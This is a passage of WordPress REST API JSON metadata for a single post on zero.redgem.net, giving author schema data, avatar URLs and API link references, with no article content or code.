redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41067","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41067"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41067\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41067"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}